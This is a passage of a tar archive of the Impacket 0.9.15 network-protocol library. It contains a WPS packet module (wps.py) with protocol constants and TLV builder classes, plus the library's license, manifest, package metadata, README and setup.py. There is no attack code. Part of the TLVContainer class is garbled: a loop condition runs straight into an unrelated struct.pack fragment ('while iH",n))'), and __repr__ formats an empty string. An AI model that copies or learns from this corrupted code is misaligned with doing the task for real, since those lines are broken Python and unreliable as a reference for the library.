print " ",
print ''.join(pretty_print(x) for x in x[i:i+16] )
i += 16
impacket-0.9.15/impacket/wps.py 0000600 0000765 0000000 00000025551 12734531507 016441 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# WPS packets
#
# Author:
# Aureliano Calvo
import array
import struct
from impacket.helper import ProtocolPacket, Byte, Bit
class ArrayBuilder(object):
def from_ary(self, ary):
return ary
def to_ary(self, value):
return array.array("B", value)
class ByteBuilder(object):
def from_ary(self, ary):
return ary[0]
def to_ary(self, value):
return array.array('B', [value])
class StringBuilder(object):
def from_ary(self, ary):
return ary.tostring()
def to_ary(self, value):
return array.array('B', value)
class NumBuilder(object):
"""Converts back and forth between arrays and numbers in network byte-order"""
def __init__(self, size):
"""size: number of bytes in the field"""
self.size = size
def from_ary(self, ary):
if len(ary) != self.size:
raise Exception("Expected %s size but got %s" % (self.size, len(ary)))
return reduce( lambda ac, x: ac * 256 + x, ary, 0)
def to_ary(self, value0):
value = value0
rv = array.array('B')
for _ in xrange(self.size):
value, mod = divmod(value, 256)
rv.append(mod)
if value != 0:
raise Exception("%s is too big. Max size: %s" % (value0, self.size))
rv.reverse()
return rv
class TLVContainer(object):
def builder(self, kind):
return self.builders.get(kind, self.default_builder)
def from_ary(self, ary):
i = 0
while iH",n))
def ary2n(self, ary, i=0):
return struct.unpack(">H", ary[i:i+2].tostring())[0]
def __repr__(self):
def desc(kind):
return self.descs[kind] if kind in self.descs else kind
return "" % repr([(desc(k), self.builder(k).from_ary(v)) for (k,v) in self.elems])
def child(self):
return None
class SCElem(object):
#Data elements as defined in section 11 of the WPS 1.0h spec.
AP_CHANNEL = 0x1001
ASSOCIATION_STATE = 0x1002
AUTHENTICATION_TYPE = 0x1003
AUTHENTICATION_TYPE_FLAGS = 0x1004
AUTHENTICATOR = 0x1005
CONFIG_METHODS = 0x1008
CONFIGURATION_ERROR = 0x1009
CONFIRMATION_URL4 = 0x100A
CONFIRMATION_URL6 = 0x100B
CONNECTION_TYPE = 0X100C
CONNECTION_TYPE_FLAGS = 0X100D
CREDENTIAL = 0X100E
DEVICE_NAME = 0x1011
DEVICE_PASSWORD_ID = 0x1012
E_HASH1 = 0x1014
E_HASH2 = 0x1015
E_SNONCE1 = 0x1016
E_SNONCE2 = 0x1017
ENCRYPTED_SETTINGS = 0x1018
ENCRYPTION_TYPE = 0X100F
ENCRYPTION_TYPE_FLAGS = 0x1010
ENROLLEE_NONCE = 0x101A
FEATURE_ID = 0x101B
IDENTITY = 0X101C
INDENTITY_PROOF = 0X101D
KEY_WRAP_AUTHENTICATOR = 0x101E
KEY_IDENTIFIER = 0X101F
MAC_ADDRESS = 0x1020
MANUFACTURER = 0x1021
MESSAGE_TYPE = 0x1022
MODEL_NAME = 0x1023
MODEL_NUMBER = 0x1024
NETWORK_INDEX = 0x1026
NETWORK_KEY = 0x1027
NETWORK_KEY_INDEX = 0x1028
NEW_DEVICE_NAME = 0x1029
NEW_PASSWORD = 0x102A
OOB_DEVICE_PASSWORD = 0X102C
OS_VERSION= 0X102D
POWER_LEVEL = 0X102F
PSK_CURRENT = 0x1030
PSK_MAX = 0x1031
PUBLIC_KEY = 0x1032
RADIO_ENABLED = 0x1033
REBOOT = 0x1034
REGISTRAR_CURRENT = 0x1035
REGISTRAR_ESTABLISHED = 0x1036
REGISTRAR_LIST = 0x1037
REGISTRAR_MAX = 0x1038
REGISTRAR_NONCE = 0x1039
REQUEST_TYPE = 0x103A
RESPONSE_TYPE = 0x103B
RF_BANDS = 0X103C
R_HASH1 = 0X103D
R_HASH2 = 0X103E
R_SNONCE1 = 0X103F
R_SNONCE2 = 0x1040
SELECTED_REGISTRAR = 0x1041
SERIAL_NUMBER = 0x1042
WPS_STATE = 0x1044
SSID = 0x1045
TOTAL_NETWORKS = 0x1046
UUID_E = 0x1047
UUID_R = 0x1048
VENDOR_EXTENSION = 0x1049
VERSION = 0x104A
X_509_CERTIFICATE_REQUEST = 0x104B
X_509_CERTIFICATE = 0x104C
EAP_IDENTITY = 0x104D
MESSAGE_COUNTER = 0x104E
PUBLIC_KEY_HASH = 0x104F
REKEY_KEY = 0x1050
KEY_LIFETIME = 0x1051
PERMITTED_CONFIG_METHODS = 0x1052
SELECTED_REGISTRAR_CONFIG_METHODS= 0x1053
PRIMARY_DEVICE_TYPE = 0x1054
SECONDARY_DEVICE_TYPE_LIST = 0x1055
PORTABLE_DEVICE = 0x1056
AP_SETUP_LOCKED = 0x1057
APPLICATION_EXTENSION = 0x1058
EAP_TYPE = 0x1059
INITIALIZATION_VECTOR = 0x1060
KEY_PROVIDED_AUTOMATICALLY = 0x1061
_802_1X_ENABLED = 0x1062
APP_SESSION_KEY = 0x1063
WEP_TRANSMIT_KEY = 0x1064
class MessageType(object):
"""Message types according to WPS 1.0h spec, section 11"""
BEACON = 0x01
PROBE_REQUEST = 0x02
PROBE_RESPONSE = 0x03
M1 = 0x04
M2 = 0x05
M2D = 0x06
M3 = 0x07
M4 = 0x08
M5 = 0x09
M6 = 0x0A
M7 = 0x0B
M8 = 0x0C
WSC_ACK = 0x0D
WSC_NACK = 0x0E
WSC_DONE = 0x0F
class AuthTypeFlag(object):
OPEN = 0x0001
WPAPSK = 0x0002
SHARED = 0x0004
WPA = 0x0008
WPA2 = 0x0010
WPA2PSK = 0x0020
AuthTypeFlag_ALL = AuthTypeFlag.OPEN | \
AuthTypeFlag.WPAPSK | \
AuthTypeFlag.SHARED | \
AuthTypeFlag.WPA | \
AuthTypeFlag.WPA2 | \
AuthTypeFlag.WPA2PSK
class EncryptionTypeFlag(object):
NONE = 0x0001
WEP = 0x0002
TKIP = 0x0004
AES = 0x0008
EncryptionTypeFlag_ALL = EncryptionTypeFlag.NONE | EncryptionTypeFlag.WEP | EncryptionTypeFlag.TKIP | EncryptionTypeFlag.AES
class ConnectionTypeFlag(object):
ESS = 0x01
IBSS = 0x02
class ConfigMethod(object):
USBA = 0x0001
ETHERNET = 0x0002
LABEL = 0x0004
DISPLAY = 0x0008
EXT_NFC_TOKEN = 0x0010
INT_NFC_TOKEN = 0x0020
NFC_INTERFACE = 0x0040
PUSHBUTTON = 0x0080
KEYPAD = 0x0100
class OpCode(object):
WSC_START = 0x01
WSC_ACK = 0x02
WSC_NACK = 0x03
WSC_MSG = 0x04
WSC_DONE = 0x05
WSC_FRAG_ACK = 0x06
class AssocState(object):
NOT_ASSOC = 0
CONN_SUCCESS = 1
CFG_FAILURE = 2
FAILURE = 3,
IP_FAILURE = 4
class ConfigError(object):
NO_ERROR = 0
OOB_IFACE_READ_ERROR = 1
DECRYPTION_CRC_FAILURE = 2
_24_CHAN_NOT_SUPPORTED = 3
_50_CHAN_NOT_SUPPORTED = 4
SIGNAL_TOO_WEAK = 5
NETWORK_AUTH_FAILURE = 6
NETWORK_ASSOC_FAILURE = 7
NO_DHCP_RESPONSE = 8
FAILED_DHCP_CONFIG = 9
IP_ADDR_CONFLICT = 10
NO_CONN_TO_REGISTRAR = 11
MULTIPLE_PBC_DETECTED = 12
ROGUE_SUSPECTED = 13
DEVICE_BUSY = 14
SETUP_LOCKED = 15
MSG_TIMEOUT = 16
REG_SESS_TIMEOUT = 17
DEV_PASSWORD_AUTH_FAILURE = 18
class DevicePasswordId(object):
DEFAULT = 0x0000
USER_SPECIFIED = 0x0001
MACHINE_SPECIFIED = 0x0002
REKEY = 0x0003
PUSHBUTTON = 0x0004
REGISTRAR_SPECIFIED = 0x0005
class WpsState(object):
NOT_CONFIGURED = 0x01
CONFIGURED = 0x02
class SimpleConfig(ProtocolPacket):
"For now, it supports Simple configs with the bits more_fragments and length_field not set"
header_size = 2
tail_size = 0
op_code = Byte(0)
flags = Byte(1)
more_fragments = Bit(1, 0)
length_field = Bit(1,1)
BUILDERS = {
SCElem.CONNECTION_TYPE: ByteBuilder(),
SCElem.CONNECTION_TYPE_FLAGS: ByteBuilder(),
SCElem.VERSION: ByteBuilder(),
SCElem.MESSAGE_TYPE: ByteBuilder(),
SCElem.NETWORK_INDEX: ByteBuilder(),
SCElem.NETWORK_KEY_INDEX: ByteBuilder(),
SCElem.POWER_LEVEL: ByteBuilder(),
SCElem.PSK_CURRENT: ByteBuilder(),
SCElem.PSK_MAX: ByteBuilder(),
SCElem.REGISTRAR_CURRENT: ByteBuilder(),
SCElem.REGISTRAR_MAX: ByteBuilder(),
SCElem.REQUEST_TYPE: ByteBuilder(),
SCElem.RESPONSE_TYPE: ByteBuilder(),
SCElem.RF_BANDS: ByteBuilder(),
SCElem.WPS_STATE: ByteBuilder(),
SCElem.TOTAL_NETWORKS: ByteBuilder(),
SCElem.VERSION: ByteBuilder(),
SCElem.WEP_TRANSMIT_KEY: ByteBuilder(),
SCElem.CONFIRMATION_URL4: StringBuilder(),
SCElem.CONFIRMATION_URL6: StringBuilder(),
SCElem.DEVICE_NAME: StringBuilder(),
SCElem.IDENTITY: StringBuilder(),
SCElem.MANUFACTURER: StringBuilder(),
SCElem.MODEL_NAME: StringBuilder(),
SCElem.MODEL_NUMBER: StringBuilder(),
SCElem.NEW_DEVICE_NAME: StringBuilder(),
SCElem.NEW_PASSWORD: StringBuilder(),
SCElem.SERIAL_NUMBER: StringBuilder(),
SCElem.EAP_IDENTITY: StringBuilder(),
SCElem.NETWORK_KEY: StringBuilder(),
SCElem.AP_CHANNEL: NumBuilder(2),
SCElem.ASSOCIATION_STATE: NumBuilder(2),
SCElem.AUTHENTICATION_TYPE: NumBuilder(2),
SCElem.AUTHENTICATION_TYPE_FLAGS: NumBuilder(2),
SCElem.CONFIG_METHODS: NumBuilder(2),
SCElem.CONFIGURATION_ERROR: NumBuilder(2),
SCElem.DEVICE_PASSWORD_ID: NumBuilder(2),
SCElem.ENCRYPTION_TYPE: NumBuilder(2),
SCElem.ENCRYPTION_TYPE_FLAGS: NumBuilder(2),
SCElem.MESSAGE_COUNTER: NumBuilder(8),
SCElem.KEY_LIFETIME: NumBuilder(4),
SCElem.PERMITTED_CONFIG_METHODS: NumBuilder(2),
SCElem.SELECTED_REGISTRAR_CONFIG_METHODS: NumBuilder(2),
SCElem.PUBLIC_KEY: NumBuilder(192),
}
@classmethod
def build_tlv_container(cls):
return TLVContainer(
builders=SimpleConfig.BUILDERS,
descs = dict( (v,k) for (k,v) in SCElem.__dict__.iteritems() )
)
impacket-0.9.15/LICENSE 0000600 0000765 0000000 00000006767 12734531507 014476 0 ustar beto wheel 0000000 0000000 Licencing
---------
We provide this software under a slightly modified version of the
Apache Software License. The only changes to the document were the
replacement of "Apache" with "Impacket" and "Apache Software Foundation"
with "CORE Security Technologies". Feel free to compare the resulting
document to the official Apache license.
The `Apache Software License' is an Open Source Initiative Approved
License.
The Apache Software License, Version 1.1
Modifications by CORE Security Technologies (see above)
Copyright (c) 2000 The Apache Software Foundation. All rights
reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
3. The end-user documentation included with the redistribution,
if any, must include the following acknowledgment:
"This product includes software developed by
CORE Security Technologies (http://www.coresecurity.com/)."
Alternately, this acknowledgment may appear in the software itself,
if and wherever such third-party acknowledgments normally appear.
4. The names "Impacket" and "CORE Security Technologies" must
not be used to endorse or promote products derived from this
software without prior written permission. For written
permission, please contact oss@coresecurity.com.
5. Products derived from this software may not be called "Impacket",
nor may "Impacket" appear in their name, without prior written
permission of CORE Security Technologies.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
Smb.py and nmb.py are based on Pysmb by Michael Teo
(http://miketeo.net/projects/pysmb/), and are distributed under the
following license:
This software is provided 'as-is', without any express or implied
warranty. In no event will the author be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must
not claim that you wrote the original software. If you use this
software in a product, an acknowledgment in the product
documentation would be appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must
not be misrepresented as being the original software.
3. This notice cannot be removed or altered from any source
distribution.
impacket-0.9.15/MANIFEST.in 0000600 0000765 0000000 00000000134 12734531507 015205 0 ustar beto wheel 0000000 0000000 include MANIFEST.in
include LICENSE
include ChangeLog
recursive-include examples *.txt *.py
impacket-0.9.15/PKG-INFO 0000600 0000765 0000000 00000001066 12734532622 014550 0 ustar beto wheel 0000000 0000000 Metadata-Version: 1.1
Name: impacket
Version: 0.9.15
Summary: Network protocols Constructors and Dissectors
Home-page: https://www.coresecurity.com/corelabs-research/open-source-tools/impacket
Author: Alberto Solino
Author-email: bethus@gmail.com
License: Apache modified
Description: Impacket is a collection of Python classes focused on providing access to network packets. Impacket allows Python developers to craft and decode network packets in simple and consistent manner.
Platform: Unix
Platform: Windows
Requires: pycrypto (>=2.6)
Requires: pyasn1 (>=0.1.7)
impacket-0.9.15/README.md 0000600 0000765 0000000 00000005460 12734531507 014735 0 ustar beto wheel 0000000 0000000 What is Impacket?
=================
Impacket is a collection of Python classes for working with network
protocols. Impacket is focused on providing low-level
programmatic access to the packets and for some protocols (for
instance NMB, SMB1-3 and MS-DCERPC) the protocol implementation itself.
Packets can be constructed from scratch, as well as parsed from
raw data, and the object oriented API makes it simple to work with
deep hierarchies of protocols. The library provides a set of tools
as examples of what can be done within the context of this library.
A description of some of the tools can be found at:
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket
What protocols are featured?
----------------------------
* Ethernet, Linux "Cooked" capture.
* IP, TCP, UDP, ICMP, IGMP, ARP. (IPv4 and IPv6)
* NMB and SMB1/2/3 (high-level implementations).
* DCE/RPC versions 4 and 5, over different transports: UDP (version 4
exclusively), TCP, SMB/TCP, SMB/NetBIOS and HTTP.
* Portions of the following DCE/RPC interfaces: Conv, DCOM (WMI, OAUTH),
EPM, SAMR, SCMR, RRP, SRVSC, LSAD, LSAT, WKST, NRPC.
Getting Impacket
================
* [Current and past releases](https://github.com/CoreSecurity/impacket/releases)
* [Trunk](https://github.com/CoreSecurity/impacket)
Setup
=====
Quick start
-----------
Grab the latest stable release, unpack it and run `python setup.py
install` from the directory where you placed it. Isn't that easy?
Requirements
============
* A Python interpreter. Versions 2.0.1 and newer are known to work.
1. If you want to run the examples and you have Python < 2.7, you
will need to install the `argparse` package for them to work.
2. For Kerberos support you will need `pyasn1` package
3. For cryptographic operations you will need `pycrypto` package
4. For some examples you will need pyOpenSSL (rdp_check.py) and ldap3 (ntlmrelayx.py)
5. If you're under Windows, you will need pyReadline
* A recent release of Impacket.
Installing
----------
In order to install the source execute the following command from the
directory where the Impacket's distribution has been unpacked: `python
setup.py install`. This will install the classes into the default
Python modules path; note that you might need special permissions to
write there. For more information on what commands and options are
available from setup.py, run `python setup.py --help-commands`.
Licensing
=========
This software is provided under under a slightly modified version of
the Apache Software License. See the accompanying LICENSE file for
more information.
SMBv1 and NetBIOS support based on Pysmb by Michael Teo.
Contact Us
==========
Whether you want to report a bug, send a patch or give some
suggestions on this package, drop us a few lines at
oss@coresecurity.com.
impacket-0.9.15/setup.py 0000600 0000765 0000000 00000003304 12734531507 015163 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# $Id$
import glob
import os
from distutils.core import setup
PACKAGE_NAME = "impacket"
setup(name = PACKAGE_NAME,
version = "0.9.15",
description = "Network protocols Constructors and Dissectors",
url = "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket",
author = "Core Security Technologies",
author_email = "oss@coresecurity.com",
maintainer = "Alberto Solino",
maintainer_email = "bethus@gmail.com",
license = "Apache modified",
long_description = 'Impacket is a collection of Python classes focused on providing access to network packets. Impacket allows Python developers to craft and decode network packets in simple and consistent manner.',
platforms = ["Unix","Windows"],
packages = ['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom', 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', 'impacket.examples.ntlmrelayx.utils'],
scripts = glob.glob(os.path.join('examples', '*.py')),
data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*')),
(os.path.join('share', 'doc', PACKAGE_NAME, 'testcases', 'dot11'),glob.glob('impacket/testcases/dot11/*')),
(os.path.join('share', 'doc', PACKAGE_NAME, 'testcases', 'ImpactPacket'),glob.glob('impacket/testcases/ImpactPacket/*')),
(os.path.join('share', 'doc', PACKAGE_NAME, 'testcases', 'SMB_RPC'),glob.glob('impacket/testcases/SMB_RPC/*'))],
requires=['pycrypto (>=2.6)', 'pyasn1 (>=0.1.7)'],
)